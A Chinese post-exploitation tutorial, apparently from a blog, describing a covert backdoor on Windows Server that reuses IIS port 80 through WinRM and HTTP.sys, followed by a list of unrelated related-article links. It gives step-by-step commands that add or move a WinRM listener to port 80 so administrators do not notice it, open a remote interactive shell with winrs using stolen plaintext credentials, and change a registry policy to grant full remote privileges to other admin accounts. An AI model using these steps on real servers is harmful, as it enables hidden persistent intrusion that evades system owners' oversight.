0x01 简介

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

具体细节信息请参考:https://paper.seebug.org/1004/

0x02 复现

2.1 环境信息

此次的后门连接是需要目标服务器的高权用户的明文密码的,需要先抓取相应的明文密码才可部署后门:

首先查看目标服务器时候能够正常使用WinRM服务:

在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。

对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是winrm quickconfig -q,这条命令运行后会自动添加防火墙例外规则,放行5985端口。

2.2 复用80端口

目标服务器本身是存在IIS服务器的,开放端口也是默认的80端口:

对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。

这种情况下,老的5985端口listener还保留着:

当目标服务器上,本省并未启用WinRM服务的话,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。

通过下面这条命令即可修改端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

这种情况下,管理员查看端口也看不到5985开放,只开放80端口:

经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

2.3 后门的使用

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

开启WinRM客户端后,使用winrs命令即可连接远程WinRM服务执行命令(这里的账号密码即是目标服务器本地存在的用户)

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. ipconfig

上述命令会在远程机器上执行ipconfig命令,获取结果后直接退出

将ipconfig命令换成cmd即可获取一个交互式的shell:

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. cmd

0x03 非管理员用户

WinRM服务是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

0x04 参考链接

https://paper.seebug.org/1004/

[后渗透]Windows server 80端口复用后门的更多相关文章

  1. Windows下80端口被占用的解决方法(SQL Server)

    查找80端口被谁占用的方法 进入命令提示行(WIN+R 输入 CMD),输入命令 netstat -ano|findstr 80 (显示包含:80的网络连接) ,就可以看到本机所有端口的使用情况,一般 ...

  2. Windows下80端口被pid为4的System进程占用解决方法

    前言 之前是Windows 7系统,前段时间装了Windows 10,php环境还没来得及搭建.今天折腾了一下,是用nginx+php,端口是80(已经停止了iis服务),nginx就是起不来,十之八 ...

  3. Windows下80端口被进程System占用的解决方法

    最近电脑时不时就发生了80端口被占用的情况,简单百度解决后,当重启电脑的时候又发生被占用的情况.今天非常幸运的是,发生了80端口和8080端口都被占用了情况,忍无可忍决定下定决心解决这个坑爹的问题,经 ...

  4. 如何关闭windows server2012 80端口

    Windows Server禁用本地端口的两种方法 这篇文章主要介绍了Windows Server 2008 禁用本地端口的两种方法,本文讲解了通过Windows防火墙禁用端口.通过IP安全策略禁用端 ...

  5. Windows下80端口被进程System&PID=4占用的解决方法

    我的占用原因是 SQL Server Reporting Services,停止掉这个服务并设置其为手动启动即可 如果你并没有安装 SQL Server,请参考下文解决 =============== ...

  6. nginx windows 代理 80端口 500

    今天准备配置一个nginx 用来代理80端口分别访问.net core 和spring boot 服务器 配置使用的最基本的代理配置 #user nobody; worker_processes 1; ...

  7. 解决windows系统80端口被占用问题(转)

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 0.0.0.0:80 发现System进程 (pid=4) ...

  8. 解决windows系统80端口被占用问题

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 发现System进程 (pid=4) 占用了端口 然而本机 ...

  9. windows的80端口被占用时的处理方法

    1.利用jfinal极速开发时,显示异常,80端口被占用. 2.win+R输入cmd打开黑窗口. netstat -ano | findstr 3.发现进程被占用,输入以下指令停止http服务 net ...

随机推荐

  1. Java NIO , AIO

    New IO: 特点:不再阻塞 Channel , Buffer Async IO: 特点:异步

  2. mybatis中用注解如何处理存储过程返回的多个结果集?

    sql代码: create procedure sptest.getnamesanditems() reads sql data dynamic result sets 2 BEGIN ATOMIC ...

  3. Java 之 异常的处理

    Java 异常处理的五个关键字:try.catch.finally.throws.throw 一.捕获异常 try...catch 如果异常出现的话,会立刻终止程序,所以我们得处理异常. try... ...

  4. 连接mysql报"ERROR 1130: Host xxx.xxx.xxx.xxx is not allowed to connect to this MySQL server"

    最近在服务器上部署好的应用突然间连接不上mysql数据库,报错“ERROR 1130: Host xxx.xxx.xxx.xxx is not allowed to connect to this M ...

  5. 如何预防SQL注入

    归纳一下,主要有以下几点: 1.永远不要信任用户的输入.对用户的输入进行校验,可以通过正则表达式,或限制长度:对单引号和 双"-"进行转换等. 2.永远不要使用动态拼装sql,可以 ...

  6. LVS负载均衡部署

    一.lvs-nat模式 1.1.环境介绍 本实验用三台虚拟机完成,一台虚拟机模拟lvs调度器,两块网卡,一块模拟公网一块模拟私网,公网地址192.168.0.201/24,私网地址192.168.4. ...

  7. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  8. 遗传算法介绍并附上Python代码

    之前介绍过遗传算法,参见:https://www.cnblogs.com/LoganChen/p/7509702.html 我们用Python实现同样的问题解答. y=10*sin(5*x)+7*ab ...

  9. graylog-docker安装

    Graylog安装(docker) 1.安装docker jdk1.8 2.下载docker镜像 docker pull mongo docker pull docker.elastic.co/ela ...

  10. KVM管理工具

    Ovirt:功能强大,RHEV的开源版本 WebVirtMgr:virt-manager的WEB模式的替代品 ConVirt:分为开源版.商业版 Openstack:开源框架,复杂程度较高